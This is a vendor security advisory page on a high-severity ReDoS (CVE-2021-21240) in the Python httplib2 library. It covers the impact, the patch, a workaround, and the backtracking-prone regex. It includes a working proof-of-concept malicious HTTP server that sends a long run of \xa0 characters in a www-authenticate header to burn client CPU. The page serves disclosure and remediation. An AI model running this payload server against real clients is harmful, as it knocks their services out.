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🐍 PyPI

GHSA-93xj-8mrv-444m

HIGH

GHSA-93xj-8mrv-444m is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in httplib2. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-93xj-8mrv-444m is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Regular Expression Denial of Service (REDoS) in httplib2

Also known asCVE-2021-21240PYSEC-2021-16
Published
Feb 8, 2021
Updated
Mar 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
1 known

Blast Radius

1 pkg affected
🐍httplib2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches

Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182

Workarounds

import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True

Technical Details

The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

\s*[^ \t\r\n=]+\s*=

Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.

Reproduction Steps

Run a malicious server which responds with

www-authenticate: x \xa0\xa0\xa0\xa0x

but with many more \xa0 characters.

An example malicious python server is below:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()

Connect to the server with httplib2:

import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

References

Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

For more information

If you have any questions or comments about this advisory:

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIhttplib2all versions0.19.0
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for httplib2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update httplib2 to 0.19.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-93xj-8mrv-444m is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-93xj-8mrv-444m is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-93xj-8mrv-444m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact A malicious server which responds with long series of `\xa0` characters in the `www-authenticate` header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server. ### Patches Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182 ### Workarounds ```py import httplib2 httplib2.USE_WWW_AUTH_STRICT_PARSING = True ``` ### Technical Details The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a5477277
O3 Security · Impact-Aware SCA

Is GHSA-93xj-8mrv-444m in your dependencies?

O3 detects GHSA-93xj-8mrv-444m across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.